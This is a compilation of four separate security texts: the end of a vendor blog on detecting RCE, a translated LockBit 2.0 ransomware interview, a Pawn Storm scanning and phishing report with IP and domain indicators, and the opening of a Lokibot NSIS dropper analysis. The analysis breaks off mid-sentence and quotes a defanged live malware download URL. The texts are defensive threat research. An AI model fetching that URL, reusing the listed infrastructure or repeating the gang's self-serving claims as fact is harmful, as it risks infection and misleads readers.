detection rates for activity relating to this RCE behavior. This subsequent analysis uncovered specific file types being written to targeted locations on disk which matched a unique process lineage. For the best possible coverage for customers, this avenue was further explored and confirmed to indicate behavior associated with MSHTML browser engine RCE. As a result of this research, multiple detections were pushed out to all customers to form a multi-layered defense against exploitation attempts for this vulnerability and ensure that customers are protected. ## Linux: Targeted Arbitrary Code Execution in Specific Server Types One example of a Linux vulnerability involves Object-Graph Navigation Language (OGNL) injection in specific server types and data center software. A specially crafted request can be sent to vulnerable endpoints on the associated server or data center instance. This could be exploited by either a remotely authenticated attacker or, under the right circumstances, an unauthenticated attacker, which would lead to arbitrary code execution, potentially raising the severity of the vulnerability to critical. After its initial public disclosure on August 25, 2021, the CrowdStrike Falcon OverWatch™ threat hunters began to investigate any implication that CrowdStrike’s customers may be under attack via this method. Through their investigations, the associated teams quickly began to see the attack surface for this vulnerability widen from purely Linux-based exploitation attempts to including Windows attempted exploitation. With their knowledge of the exploit and their observations on attempted attacks against customers, OverWatch hunters were quick to identify early signs of attempted exploitation. One such example includes attackers writing and decoding a Base-64 encoded string to a file in the confluence directory. Due to the severity of this vulnerability, other internal teams also began performing parallel research efforts to ensure that CrowdStrike’s scope of coverage against this vulnerability ensured maximum coverage. These scenarios are thoroughly researched and tested in controlled environments to obtain as much relevant telemetry as possible. This way, the research teams can find patterns related to the behavior of the exploit and determine ways in which the Falcon sensor’s layered approach can detect it. Specific points of interest can emerge, such as similarities in the process lineage itself, the associated command lines used on each level, and specific behavioral traits displayed by the endpoint. By reviewing the telemetry and associated process trees in successfully exploited scenarios, the teams can craft detections based on both patterns that emerge in the process trees and observed behavior displayed by the endpoint. This helps further reduce false positive detections and strengthens the probability that the associated activity relates to exploiting a known vulnerability. Associated exploit activity observed in testbed detonations included various attempts at persistence, network connection activity, recon activity, and attempted file download, among many others. Targeting the process actions and its requests of the endpoint helps ensure that the CrowdStrike Falcon sensor produces high-fidelity detections for customers. ## macOS: Pre-install Scripts Another tactic using post-exploit code execution in macOS environments involves malicious post/pre-install of package scripts. Malicious scripts leverage the macOS Installer API during an installation process. This type of behavioral manipulation is yet another avenue that attackers can exploit to gain a foothold into a network. While not technically considered a “full” RCE (as it still requires user interaction to run the initial install), this technique is another form of RCE that attackers can use to compromise an endpoint and subsequently a network. For instance, Silver Sparrow is a malware example that uses this method. The user runs a seemingly innocent .pkg file and unknowingly triggers RCE, which can be used for persistence, connect to a command-and-control (C2) channel, perform active recon on the target machine, or conduct other attacker-related activities. The important thing to recognize here is that this malware is a pre-installer, which means that the code is run at the very beginning of the .pkg file's execution. This means that the end user is already infected by the time the installation of the .pkg file has completed. Fortunately, the CrowdStrike Content Research and Response team was able to investigate and mitigate the associated behavior to ensure that this type of scenario does not play out in customer environments. With the emergence of this technique, CrowdStrike’s Content Research and Response team began investigating this activity to identify and prevent it within customer macOS environments. After obtaining a thorough understanding of how this attack is conducted, and the risk which it could pose to customers depending on the potential weaponization, the team found a way to ensure that the associated activity is killed before it has a chance to execute. After rigorous testing, CrowdStrike’s Content Research and Response team was then able to ensure high-fidelity preventions were put in place to combat this type of exploit attempt by targeting it at multiple stages of the process lineage. ## The Ultimate Value of CrowdStrike’s Threat Research and Layered Approach to Security Vulnerability exploitation research enables CrowdStrike to protect customers better. Coupled with our on-sensor and in-the-cloud machine learning and behavior-based protection, the Falcon platform can detect threats and protect customers. As with most vulnerabilities, the best option is to ensure that systems across any environment are part of a good patch management plan. CrowdStrike Falcon Spotlight™ is a scanless, “always on” vulnerability management solution for all of the endpoints in your infrastructure shining insight into areas of your environment that may require further attention in order to ensure a strong security posture is maintained. Using an example from the above scenarios, we can see how Spotlight comes in to assist with its ability to utilize scanless technology to determine which endpoints in your environment may be susceptible to specific vulnerabilities simply by searching the CVE ID. This specific CVE has an ExPRT rating of Critical and a severity of High. Reviewing the detections against this CVE provides a wealth of information including remediation details, vendor advisories, references, probable sources, and much more. We can also see from the examples above how CrowdStrike’s Falcon OverWatch threat hunters are quick to respond to an ever-evolving threat landscape, connecting the dots and piecing together critical bits of information to obtain the upper hand and keep our customers’ environments safe. Additionally, we can see how other teams such as Content Research and Response also investigate, analyze, and create associated detections and preventions around suspicious activity — which has the potential to cause significant harm to customer environments if used under specific circumstances — while ensuring that related but benign activity is left to run unimpeded. The examples above describe how a technique, such as code execution, can come in various flavors across different operating systems and how CrowdStrike researchers investigate them to protect customers from exploitation and the multiple layers of protection we employ to ensure our customers’ environments remain safe. We strive to ensure that our customers are kept safe from post-exploitation activity that could have a devastating impact if missed by adopting a layered approach to security. Attackers often find new ways to blend into environments, making it more challenging to detect their attempts to gain a foothold into endpoints and networks. At CrowdStrike, we remain dedicated to our mission to stop breaches.
# LockBit 2.0 Interview with Russian OSINT On August 23, 2021, the YouTube channel Russian OSINT published an interview with the LockBit 2.0 ransomware gang in Russian. KELA translated the full interview. ## Main points: - LockBit’s representative brags that no other RaaS affiliate program provides the same conditions for affiliates, including their own stealer for a victim’s data, paying ransoms directly to the affiliates’ wallets, and more. He claims LockBit 2.0 is the fastest ransomware. - According to LockBit’s representative, companies did not become better at protecting themselves despite the wave of ransomware attacks in recent years. - The ransomware ban on forums did not prevent LockBit from recruiting new affiliates. In fact, it only helped them to compete with new RaaS programs since the latter are less recognizable without a presence on the forums. - A victim’s location is not important for LockBit; they care only about the company’s revenue. LockBit claims it will not attack healthcare, education, charitable organizations, and social services. - LockBit supposes that supply chain attacks (like the Kaseya attack by REvil) will happen more often in the near future. - LockBit believes that the guiding principle behind companies’ decisions on whether to pay the ransom or not is potential loss calculations. - The COVID-19 pandemic and the migration to remote work have benefited LockBit, making it easier to infect targets. - Two reasons for the prevalence of American and European companies among ransomware victims are, in LockBit’s opinion, the fact that cyber insurance is more developed in those countries and that some of the world’s wealthiest companies are located there. - When asked how to protect against ransomware attacks, LockBit suggests that companies should employ a full-time Red Team, regularly update their software, maintain employee awareness of social engineering, and invest 5-10% of the corporate budget in cybersecurity, depending on the size and complexity of the corporate network. ## Questions and Answers **Q: What does it mean - LockBit? Do you have a story behind this name?** **A:** “Lock” is a lock and “Bit” is a unit of measure for the amount of information in computer systems. **Q: Why do you think you continue to work successfully while many other ransomware groups are forced to close their business?** **A:** Because we enjoy our work and we take anonymity seriously. **Q: Compared to other ransomware - Maze, REvil, Conti, DarkSide - how does your product differ from them from a technical point of view?** **A:** On our blog in the onion network, there is a comparison table. We are in the first place in terms of encryption speed and the speed of dumping company data. The distribution and encryption processes are automated. Just one payload launch on the domain controller is enough – after the shortest period of time, the entire corporate network is encrypted. **Q: The year 2021 has become a real headache for all big companies that have been attacked by ransomware. What is the reason we have not heard anything like this in 2019-2020?** **A:** A lot of information in the press, big money – it attracts more and more people to this business. At the same time, the risks are growing. **Q: In general, how do you treat other ransomware-as-a-service operations - neutrally, positively, negatively?** **A:** We have a negative attitude towards ransomware gangs that encrypt healthcare and educational institutions. We prefer to attack those who are, like us, “business sharks”. **Q: What LockBit attacks do you think were the loudest ones?** **A:** A lot of noise around the attack is bad. A silent attack no one knew about is good for the company’s reputation and our income. **Q: The Lockbit 2.0 update has recently appeared. What are the most significant changes in the new version of the software?** **A:** We continue to move in our own direction. LockBit, unlike other RaaS, is, first of all, a software complex and only then a set of related services. Our mission is to provide a tool that will help to carry out an attack as soon as possible. The faster the attack is carried out, the less the risk that the attack will be repelled. It also means more companies can be encrypted in one working day. The most significant changes are the increase in encryption speed without losing quality and, of course, a stealer that automatically downloads all important data of a company to the administrative panel. Clients of the affiliate program no longer need to mess with servers and cloud storage services, wasting time on routine jobs and subsequently losing data after a first complaint filed to the cloud provider. In addition, now all the company’s data is stored in our TOR blog with the ability to download each file separately thanks to a listing. **Q: What does the organizational structure of LockBit look like? Does it resemble the Italian mafia?** **A:** It is a classic organized crime group; all the participants get their share. It doesn’t resemble the Italian mafia. In real life, it’s better when no one knows what we do, especially relatives. A human factor is the weakest point of any criminal group. **Q: Did you notice any changes in the level of companies’ security now that the ransomware topic is so widely discussed?** **A:** No. Firstly, companies do not want to spend money on protecting a corporate network and hiring highly paid specialists. Secondly, any protection measure can be bypassed. **Q: How much have you earned in recent years in USD?** **A:** Enough for a comfortable life. Money loves silence. **Q: Why do some lockers require a ransom in Bitcoins and others in Monero - what is it related to?** **A:** Security or the convenience of cashing out. Only in our affiliate program, a client communicates with encrypted companies by himself. We are not intermediaries and we cannot steal money from anyone. We do not limit our clients in their choice of currency; it all depends on their priorities, even Dogecoin is accepted. Payments are carried out exclusively to our clients’ wallets, and then they transfer to us 20% of the ransom. **Q: Special services of all the world are actively working to fight lockers following the attacks on Kaseya, Colonial Pipeline, JBS. Did you feel such pressure on yourself from law enforcement?** **A:** We did not. You can only feel the pressure of law enforcement when they have already come to you with an angle grinder and jumped into your window. It is impossible to pressure us by other methods. **Q: REvil earlier declared they are apolitical. What is your attitude to politics? Do you have similar views?** **A:** For us, the unfriendly attitude of the West is beneficial. It makes it possible to have such an aggressive business and feel calm operating from the CIS countries. **Q: Western media often associate the Russian language of correspondence on forums with Russia. If we talk not about you but about your competitors - is there a practice of fouling the trail? Let's say to communicate with journalists in Russian, and within their infrastructure - only in English?** **A:** All media are under control and not apolitical. In the West, Russia is represented as the aggressor and the main enemy. Therefore, for the West, it is profitable, at any opportunity, to blame Russia for all sins in order to form a negative image about the main enemy. These accusations are not necessarily based on something. The West is behaving in the same way towards China. The United States of America were initially a colony of invaders that exterminated the indigenous population of America and prior to today has been regularly violating human rights. It is not surprising the Black Lives Matter movement appeared in the US. Also, the US is essentially a printing machine and thanks to this it behaves as a master of the world. Therefore, you should not pay attention to what the Western media say. The practice of fouling the trails on purpose exists. **Q: Following the attack on Colonial Pipeline, ransomware was banned on forums. In response, DDoS attacks were carried out, but no one took responsibility. What is heard backstage, can you somehow comment on the situation?** **A:** The attacks were carried out by some people who felt betrayed by their beloved forums who turned out to be cowards. After a while, the insult receded and these DDoS attacks were gone too. **Q: How are you managing to attract adverts now when all topics related to ransomware are banned on forums?** **A:** For us, it is easier because we have a perfect reputation and we are famous all over the world. For new affiliate programs, it will be harder to announce themselves and earn a reputation during the information blockade. So, this taboo on forums did us a favor. We do not need a large number of adverts because we know how the Indian fairytale about the Golden antelope has ended. When a certain amount of quantity and quality is reached, we close the recruiting process. It is easy to open an affiliate program but it is an art to keep it open. **Q: How do you choose the next target for your attacks? What is the main factor? Do you have any preferences for the region where your potential target is located?** **A:** The bigger the company’s capitalization is – the better. There are no other main factors. If there is a target, then it needs to be “worked out.” It does not matter where the target is situated; we attack everyone. There is no time and desire for preparing for an attack on a specific target because there is always enough work. Our targets are businesses, capitalists. **Q: Do you have any moral code in terms of choosing targets? For example, not to attack healthcare or educational organizations.** **A:** We do not attack healthcare, education, charitable organizations, social services – everything that contributes to the development of personality and sensible values from the survival of the species perspective. Healthcare, medicine, education, charitable organizations, and social services remain intact. **Q: What victim companies have been paying a ransom more often than others? Why in your opinion?** **A:** The victims who are paying are the ones who do not make backups and poorly protect sensitive information, regardless of the industry. **Q: Will the lockers go bankrupt if authorities around the world introduce a ban on paying ransoms at the legislative level for companies in the US, Europe, CIS, Asia, in the Middle East? Since the money for the maintenance of their infrastructure will simply be nowhere to be taken.** **A:** There will be no such law that will prohibit companies from paying a ransom. Often, the information that was stolen is strategically important. Losing this information is a huge loss for a company; it may cost a leading position in the market. It can turn into serious damage to the country’s economy. Authorities won’t make such a rash step. **Q: Could such events as the Olympic Games in Japan serve as a catalyst for an increase of attacks on a certain region, in particular, the hosting country?** **A:** For companies, it always makes sense to worry about their cybersecurity, regardless of the Olympic Games. The timing doesn’t matter. **Q: What do you think about REvil’s attack on Kaseya? Is it possible to expect a new stage in the development of the ransomware business, namely, attacking the supply chain? What is the likelihood that this kind of attack will occur more often in the near future?** **A:** We think that REvil has an excellent advert who performed this attack. Such affiliates are always very valuable since they form the image and authority of the affiliate program. Such attacks for sure will be carried out in the future since there is no flawless software. Vulnerabilities are endless and everywhere. **Q: In your opinion, what guides the companies’ decision whether to pay the ransom or not?** **A:** Potential loss. However, sometimes you stumble on guys with principles. I’ll repeat myself – we are dealing with capitalists in the first place, which means they assess the risks, probable benefits, or losses from the deal. **Q: Do you offer any discounts on the ransom, if the company contacts you quickly and operates properly during negotiations?** **A:** Almost always. Our target is to streamline the attacks. **Q: How did the global COVID-19 pandemic - and the mass migration to remote work - affect you, and did it change your strategy?** **A:** It influenced positively, of course. Many employees started working remotely from personal computers, which are easier to infect with a virus and steal account information used to access the companies. **Q: Why are US and EU companies targeted more often by ransomware than others? There is an opinion that one of the reasons is the language barrier: companies from countries with more complex languages are attacked less often; is it the reason?** **A:** The insurance in this sphere is more developed in the US and EU, and the largest number of the world’s wealthiest companies is concentrated there. **Q: Sometimes lockers change their names and do a “rebranding.” Will this tendency persist, in your opinion?** **A:** It becomes more difficult to enter this business; more money and knowledge are required. It makes no sense to change the name if you are honest with your clients and hold your reputation dear. Trust is earned in a matter of years but is lost in a moment – like it was the case with Avaddon, DarkSide, and REvil. **Q: Are you using any OSINT tools or technologies throughout the attacks?** **A:** All available methods are being used. **Q: In your practice, did you encounter cases when a group of companies performed a sensitive deal, and during those activities, a company paid a little “protection fee,” so that no one would intrude their systems and affect the deal, for example, at the moment when a merger decision was being made?** **A:** This is a fantasy. **Q: Probably you have watched my episode with a famous lawyer from New York, Arkady Bukh. In that episode, we spoke about the fact that sometimes cybercriminals disclose their accomplices, for their own profit and a “green card.” Do you know any public cases when partners “sold” their accomplices and handed over incriminating materials to special services?** **A:** We don’t know of such cases. If you are caught, don’t get sad, hand over everything you’ve had. **Q: Some time ago, Cisco Talos published an interview with your representative. What reactions and what results did you get from this interview? Did it meet your expectations?** **A:** We have got new affiliates. **Q: What advice can you give to companies, so that they will not become LockBit’s target?** **A:** Employ a full-time Red Team, regularly update all software, perform preventive talks with a company’s employees to thwart social engineering, and most importantly – use the best ransomware-fighting antivirus – BitDefender. **Q: If you could turn back time, would you be doing the same things you do now?** **A:** Of course not. I sleep very badly at night. Money can’t buy happiness. **Q: A billion dollars - is it enough to “leave the stage”?** **A:** We love our job. The money is not the target – the process is the important thing. And of course, fortunate is not the one who is rich, but the one who has a loyal wife. **Q: How would you briefly describe your life’s path?** **A:** The one of self-realization. You should do the things that you can do the best because you need to realize your potential – this is a basic necessity for every human. **Q: Were there cases when cybersecurity companies tried to deanonymize you? If yes, please share the details of such attacks - what did you remember the most?** **A:** There were. Usually, they try to make you click a link using social engineering, but sometimes they send journalists to perform behavioral analysis and create a possible criminal profile. **Q: In one of my interviews with Wojciech, a Polish offensive OSINT specialist, he said “Ransomware, first and foremost, bets on easy money and obvious access points such as RDP, unpatched VPN, and trivial phishing - they all work in a relatively similar way. ICS hacking requires specialized knowledge, understanding of protocols’ work. I highly doubt the possibility of locking critical infrastructures in some city.” In your opinion, is his claim true?** **A:** True, but only partially. Those who have specialized knowledge and tools unavailable for many can mask their attacks, so that it would not be clear whose work it was – a professional or an average hacker. **Q: The chastity belts’ locking story. What sense do those attacks make, when some lockers conduct them? Is this some PR stunt to make yourself known?** **A:** It’s a ROFL. **Q: Recently, Western media wrote that some ransomware groups recruit negotiators to their lines - does it really require specialized people?** **A:** It depends on the pentester’s free time. A good pentester doesn’t have time for negotiations. **Q: I heard an opinion from one cybersecurity specialist, that the lockers’ existence is profitable for certain large infosecurity companies. For example, a victim company is required to pay ten million dollars, and then immediately comes a large cybersecurity company and promises to decrypt for seven million; but in reality, the cybersecurity company turns to the lockers - without the victim’s knowledge - and negotiates to pay, say, five million dollars from their own pocket. In the end, a large infosec giant makes two million. Is there some truth to it?** **A:** It’s 100% true. Almost all recovery companies do this. **Q: When you became a dollar millionaire, how much did this feeling change you as a person? What in your worldview has fundamentally changed?** **A:** It gave me confidence in the future, and also the ability to pay for a very expensive surgery required for my brother. Attitude to security and anonymity has fundamentally changed. **Q: Sophos Labs’ experts wrote earlier that LockBit, before encrypting the victim, calls GetUserDefaultLangID which determines the default keyboard setting. If there are Russian, Ukrainian, Uzbek, Kazakh, Armenian, and other languages then the target is not encrypted. Let’s suppose that many companies adopt this practice, does it mean that companies would not be encrypted anymore?** **A:** The system’s language is checked, and not the keyboard setting. **Q: Not once we hear opinions of certain info security experts, and even underground members, that locking, ransomware, is, to say it nicely, a not very smart endeavor skill-wise, meaning that this is some sort of primitivity that has little in common with the art of hacking. How would you comment on this attitude towards ransomware?** **A:** This claim is invalid because few can write the fastest encryption algorithm in the world; the software always requires support and innovation, so technical savviness is extremely important. **Q: In your practice, have you seen - from the inside - cases when companies deceive their clients, collect more of their information than needed, sell it, manipulate clients, and siphon money, using the acquired data? Can you talk about such cases?** **A:** Yes, we did. Usually, such companies pay the ransom significantly faster. I can’t tell the details because our reputation is important to us and in case of ransom payment we destroy the company’s data, ensuring complete confidentiality of the deal. **Q: Not only in the CIS countries, but possibly in South America, the Middle East, Europe, and Asia as well, companies invest too little in their cybersecurity. Often, executives do not understand what risk management is, are not ready to allocate budgets to train their infosec experts and employees, nor spend money on protection of their infrastructure, pay adequate salaries, etc. Here is where many problems begin. It’s no surprise that, sometimes, skilled infosec experts switch to the “dark side.” If organizations, afraid of the possibility of being attacked by ransomware, will start investing money in their cybersecurity, the lockers’ job will become harder due to stern competition between “blackhat” and “whitehat” experts, which will surely make the global infosecurity market bigger. Do you, generally, support this attitude, that companies need to give more attention to their cybersecurity, invest more money in infosec?** **A:** I don’t support it. Let them fire everyone – I need the cybersecurity specialists more. **Q: What percentage of the corporate budget should, ideally, be spent on cybersecurity, so a company could calmly deal with its commercial affairs?** **A:** It depends on the complexity of the corporate infrastructure and the amount of potential entry points. I think that about 5-10% would be enough to make sure that the company will never fall victim to ransomware. **Q: Final question - you have been cornered: would you fight to the death, or retreat to save your life?** **A:** You should first make a commercial offer which is very difficult to refuse, and if it won’t help – fight to the death. But as we know, money defeats evil.
# Pawn Storm in 2019: A Year of Scanning and Credential Phishing on High-Profile Targets Pawn Storm has had traditional cyber weapons, like malware, in its attack arsenal since at least 2004, the earliest year we have been able to trace the group’s activities. Back in 2014 and 2017, we wrote about the various attack vectors and methodologies of this advanced persistent threat (APT) group, which is also known as APT28, Strontium, and Fancy Bear. Over the years, we have unraveled how the group has employed spear-phishing emails, phishing sites, and malicious iframes, and how it targeted entities ranging from the defense industry and international organizations to media and political parties. Today, Pawn Storm continues to deploy malware against its targets, but it has also been seen directly attacking web and cloud services instead of taking the more common route of infecting targets through spear phishing. Pawn Storm is a group that has shown ample resources and multifold strategies in its operations. The group has targeted many organizations, harvested considerable information, and attempted to influence mainstream media and public opinion. Due to Pawn Storm’s notoriety, its attack methods have been well-documented. The threat actors behind Pawn Storm have used sophisticated social engineering lures, data-stealing malware, several zero-days, and even a private exploit kit. This report aims to shed light on some of Pawn Storm’s attacks that did not use malware in the initial stages. It presents new data on the group’s credential phishing, direct probing of webmail and Microsoft Exchange Autodiscover servers, and large-scale scanning activities to search for vulnerable servers. Among the group’s prominent targets were members of defense companies, embassies, governments, and the military. We will also disclose how we were able to track Pawn Storm’s credential phishing campaigns over the past two years through careful analysis of DNS SPF requests of domain names used to name some of their computer server images. ## Abusing High-Profile Email Addresses for Spam We have been closely following waves of the group’s targeted credential phishing attacks and have collected thousands of email samples that the Pawn Storm actors sent out since 2014. This data allowed us to see new trends in Pawn Storm’s tactics, techniques, and procedures (TTPs). For instance, in May 2019, we observed something interesting: Pawn Storm started using hacked email addresses of numerous high-profile targets to send credential spam messages. The actor connects to a dedicated server using the OpenVPN option of a commercial VPN provider and then uses compromised email credentials to send out credential spam via a commercial email service provider. The group used this scheme over an extended period in 2019 to 2020, with the most compromised email accounts belonging to defense companies in the Middle East. The reason for the shift to the use of compromised email accounts of (mostly) defense companies in the Middle East is unclear. Pawn Storm could be attempting to evade spam filtering at the cost of making some of their successful compromises known to security companies. However, we did not notice a significant change in successful inbox deliveries of the group’s spam campaigns, making it difficult to understand the rationale behind the change in methodology. Figure 3 shows the breakdown of industries whose email addresses were abused to send out credential phishing spam. How Pawn Storm could be getting the email credentials of their targets is a point of interest. Malware could have been utilized to achieve this, but the group could also be using a method that involves brute-force attacks. In 2019, Pawn Storm performed daily probes on numerous email servers and Microsoft Exchange Autodiscover servers across the world. The actor group was connecting to a variety of Transmission Control Protocol (TCP) ports that were related to email. We observed that most of the probing were aimed at TCP port 443 (used by webmail and Microsoft Exchange Autodiscover services), while email protocols like the Internet Message Access Protocol (IMAP), the Post Office Protocol 3 (POP3), and the Simple Mail Transfer Protocol (SMTP) were also checked. This was done in an apparent attempt to look for vulnerable systems, brute force credentials, exfiltrate email data, and send out spam waves. We have data on months of probing against hundreds of email servers worldwide and can thus make semi-statistical breakdowns by industry and by country or region. These breakdowns strongly depend on the different interests of Pawn Storm that vary over time. Below we listed a sample of Pawn Storm’s typical targets from August 2019 to November 2019. | First Probe | Last Probe | Target | Region | |-------------|------------|--------|--------| | 8/2/19 | 8/2/19 | Defense company | Southern Europe | | 8/5/19 | 8/5/19 | Civil aviation authority | Africa | | 8/7/19 | 8/7/19 | Airport | Africa | | 8/7/19 | 8/7/19 | Government | Southern Europe | | 8/15/19 | 8/21/19 | Military | South America | | 8/16/19 | 8/22/19 | Government | Middle East | | 8/28/19 | 8/28/19 | Law firm | Germany | | 8/29/19 | 8/29/19 | Aeronautics company | Europe | | 9/2/19 | 9/2/19 | Private school | France | | 9/2/19 | 9/6/19 | Railway company | Eastern Europe | | 9/2/19 | 9/7/19 | Oil and gas company | UK | | 9/2/19 | 9/8/19 | Bank | US | | 9/3/19 | 9/9/19 | Academic institution | South America | | 9/6/19 | 9/9/19 | Multinational electronics company | Asia | | 9/7/19 | 9/7/19 | Nutrition company | UK | | 9/8/19 | 9/8/19 | Political party | The Nordics | | 10/3/19 | 10/3/19 | Group of surgeons | Australia | | 10/3/19 | 10/3/19 | IT company | France | | 10/3/19 | 10/3/19 | Private school | UK | | 10/4/19 | 10/4/19 | IT company | Netherlands | For the entries in red, we suspect Pawn Storm performed large-scale data exfiltration, based on the significant amount of data that was transferred in those timeframes and the duration of the connections made. We found some of the group’s typical targets in the list, such as armed forces, defense companies, governments, law firms, political parties, and universities. Surprisingly, the list also included a couple of private schools in France and the United Kingdom, and even a kindergarten in Germany. ## Not-so-Subtle Scanning of Servers Pawn Storm appeared to do large-scale scans on TCP ports 445 and 1433 as well, but in a way that wasn’t subtle. The same IP address that has been hosting some of Pawn Storm’s websites has been scanning port 445 and port 1433 of computer servers across the world. This appears to be an attempt to find vulnerable servers running Microsoft SQL Server and Directory Services. The scans were done from the IP address 185.245.85[.]178 from November until December 2019. It should be noted that the exact statistics could differ in other time ranges because the targets of Pawn Storm’s scanning depend on specific campaigns. The scans were done from the IP address 185.245.85[.]178 from November to December 2019. Similarly, the exact statistics will be different for other time ranges because the targets of Pawn Storm’s scanning depend on specific campaigns that have a start and an end. ## Credential Phishing Attacks via DNS SPF Requests For over two years, we were able to observe a significant number of Pawn Storm’s credential phishing campaigns through careful analysis of DNS SPF (Sender Policy Framework) requests of the domains they used. In the spring of 2017, we noticed that the Pawn Storm actors had assigned particular domain names to some of their server images. These servers were repeatedly used to send credential phishing spam emails to high-profile targets that used free webmail services. Pawn Storm did not bother to register these domain names though, so we took the opportunity to register them and possibly get more information on their operations. We set up an infrastructure to passively log all DNS requests for the five domain names. It is worth noting that Pawn Storm has since ceased to use these five domains since summer of 2019; the group has been using a generic server named server[.]com at the time of writing. Some of the domain names, which were free to register in 2017, refer to the internal naming of Pawn Storm’s server images. This enabled Trend Micro to gather data on the group’s credential phishing campaigns from 2017 to 2019. It appears that receiving email servers send DNS SPF requests for the domain names used in the Extended HELO (EHLO) command as part of their spam filtering algorithms. These campaigns included spam waves against two U.S.-based free webmail providers, one Russian free webmail provider, and one Iranian webmail provider. Pawn Storm’s continued use of the domain names also put the actor at risk of revealing some of their other operations, such as moving around their server image from one IP address to another and management tasks of the server. Even for an advanced threat actor like Pawn Storm, it takes a lot of discipline to prevent leaks related to DNS requests outside of careful VPN connection setups that obscure their home base. Pawn Storm regularly uses the OpenVPN option of commercial VPN service providers to connect to a dedicated host that sends out spam. The dedicated spam-sending servers used particular domain names in the EHLO command of the SMTP sessions with the targets’ mail servers. ## Conclusion and Security Recommendations If our previous reports on Pawn Storm are any indication, the threat actor group has plenty of resources that allow them to run lengthy campaigns, determined in the pursuit of their targets. Their attacks, which range from compromising DNS settings and tabnabbing to creating watering holes and taking advantage of zero-days, have been nothing short of sophisticated. And as evidenced by their recent activities, we expect even more direct attacks against webmail and cloud services that don’t rely on malware. We have seen Pawn Storm’s activities since 2004, and we expect the threat actor group to be active for years to come. Since Pawn Storm uses a wide range of tools and tactics, organizations must secure their perimeter to reduce the risks from any potential entry or jump-off points. Here are some measures users and organizations can take to defend against Pawn Storm’s methods: - Enforce the principle of least privilege. Minimize risks in the network by limiting traffic, enabling only the services needed, and disabling those that are outdated or unused. - Mind the security gaps. Keep the system updated and its applications patched, create strong patch management policies, and consider virtual patching for known and unknown vulnerabilities. - Regularly monitor the infrastructure. Aside from employing firewalls, incorporate intrusion detection and prevention systems that inspect traffic in real-time and automatically remediate vulnerable systems. - Require two-factor authentication. Corporate email accounts, network access, and outsourced services should have multiple authentication measures when used. - Educate employees. Raise awareness of phishing techniques and common attack vectors and prohibit the use of personal webmail and social media accounts for work purposes. - Maintain data integrity. Regularly back up data and encrypt stored sensitive information. ## Indicators of Compromise (IoCs) **IP addresses** | IP Address | First Activity | Last Activity | Activity | |---------------------|----------------|---------------|-----------------------------------| | 185.245.85[.]178 | 8/4/19 | 12/17/19 | Phishing; scanning for port 445 and 1433 | | 81.19.210[.]149 | 5/22/19 | 9/20/19 | Spam; scanning (webmail) | | 82.118.242[.]171 | 10/1/19 | 12/9/19 | Scanning (webmail) | | 172.111.161[.]232 | 9/26/19 | 10/7/19 | Spam | | 89.238.178[.]14 | 9/20/19 | 12/9/19 | VPN use | | 185.227.68[.]214 | 12/1/19 | 2/18/20 | Phishing and scanning | **Domains** | Domain | Activity | |---------------------------------|---------------------| | 0xf4a54cf56[.]tk | Credential phishing | | 0xf4a5[.]tk | Credential phishing | | id24556[.]tk | Credential phishing | | 546874[.]tk | Credential phishing | | id6589[.]com | Credential phishing | | id451295[.]com | Credential phishing | | change-password[.]ml | Credential phishing | | 0x4fc271[.]tk | Credential phishing | | yahoo-change-password[.]com | Credential phishing |
# Reversing a NSIS Dropper Using Quick and Dirty Shellcode Emulation **Sample:** e850f3849ea82980cf23844ad3caadf73856b2d5b0c4179847d82ce4016e80ee (Bazaar, VT) **Infection chain:** Excel stylesheet -> Office equation -> Shellcode (downloader) -> NSIS installer -> Shellcode (stage 1) -> Shellcode (stage 2) -> Lokibot **Tools used:** Malcat, Speakeasy emulator **Difficulty:** Easy ## The Excel Document The sample we are about to dissect today is an OpenXML Excel document which came as an email attachment. The malicious document is very similar to the one we analyzed in our previous blog post: an encrypted OpenXML Excel document embedding an Equation object exploiting CVE-2018-0798. The same author is most likely behind this document as well; they just updated the bait picture. We won't go through the exploit shellcode extraction and decryption process again since the procedure is exactly the same (see here, shellcode offset is also 0x50). The exploit is again a downloader, downloading from the following URL: hxxp://103.153.79.104/windows10/csrss.exe At the time of the analysis, the file is still online. But this time, we don't get a DBatLoader instance, but a NSIS installer instead. So let us fetch the file and have a look at the installer. ## NSIS Installer The file csrss.exe is a 418KB PE file of sha256 291df8186e62df74b8fcf2c361c6913b9b73e3e864dde58eb63d5c3159a4c32d (Bazaar, VT). A NSIS installer is nothing more than a NSIS archive appended to the NSIS PE installer. The file format of the archive, while not very documented, is relatively simple as we will see. ### NSIS Archive A NSIS archive is composed of a small NSIS header followed by the archive content. The header does not contain a lot of information: - **Flags:** // some installation flags - **Signature:** 0xdeadbeef // NSIS archive start magic - **Magic:** "NullsoftInst" // also magic - **InstallerSize:** 0x6244 // unpacked size of the setup script - **ArchiveSize:** 0x5e12e // size of the archive Directly following the headers come the "files." I say "files" because they don't really have names; it is more like a list of data bytes or buffers. The files are compressed and can be stored using two modes: - **Solid mode:** Archive content is a single compressed stream. The unpacked stream is a sequence of N buffers, where each buffer is prefixed by a DWORD telling the size of the buffer. - **Non-solid mode:** Archive content is a sequence of N compressed streams, one for each file. Each compressed stream is prefixed by a DWORD telling the size of the stream. There is sadly no flag in the header telling us which mode is used; this information is hardcoded inside the NSIS installer executable. The only solution is trial and error: if the start of the archive starts with a DWORD which could be a size, then it's most likely the non-solid mode. If it looks like a compression header, then it's most likely the solid mode. Regarding compression, NSIS supports three compression algorithms: - LZMA (without headers) - Zlib - A custom bzip2 compression algorithm Malcat supports NSIS files using both solid and non-solid mode for the Zlib and LZMA compression methods but lacks support for bzip2, since the compression algorithm is custom. The NSIS archive we are looking at is a solid LZMA archive, so unpacking it is no issue. Like for most archive formats, Malcat lists found files in the upper left corner of the screen, under the Virtual File System tree. Double-clicking on a file opens it inside Malcat. The first file is always the installer setup script, followed by user-provided files and/or installer plugins. As you can see, Malcat did give names to some of the files (all but the last one) which somehow contradicts what I said before. But these names have been recovered by reversing the SETUP script, and there is no guarantee that it is the real name for these files. Even worse, a buffer in the archive can be extracted under different names on the local filesystem, so don't trust these names 100%. ## The SETUP Script The first thing to look at when reversing a NSIS installer is the setup script. NSIS scripts are a bunch of sections and assembly code written for the NSIS virtual machine. The NSIS VM architecture is relatively simple: - Every instruction is encoded on 7 DWORDs: the first DWORD is for the opcode (about 70 different opcodes) and the other 6 DWORD encode arguments. - Depending on the opcode, arguments can be either: - A register (up to 31 registers): $0 .. $9, $R0 .. $R9 or one of 11 specific registers like $EXEPATH or $CMDLINE (some are read-only, so more like constants). - A global variable: $var0 .. $varN - An integer, signed or unsigned. It can also be an offset into the code section for jump-like opcodes. - A string, more precisely an index into the Strings section of the setup script. Strings 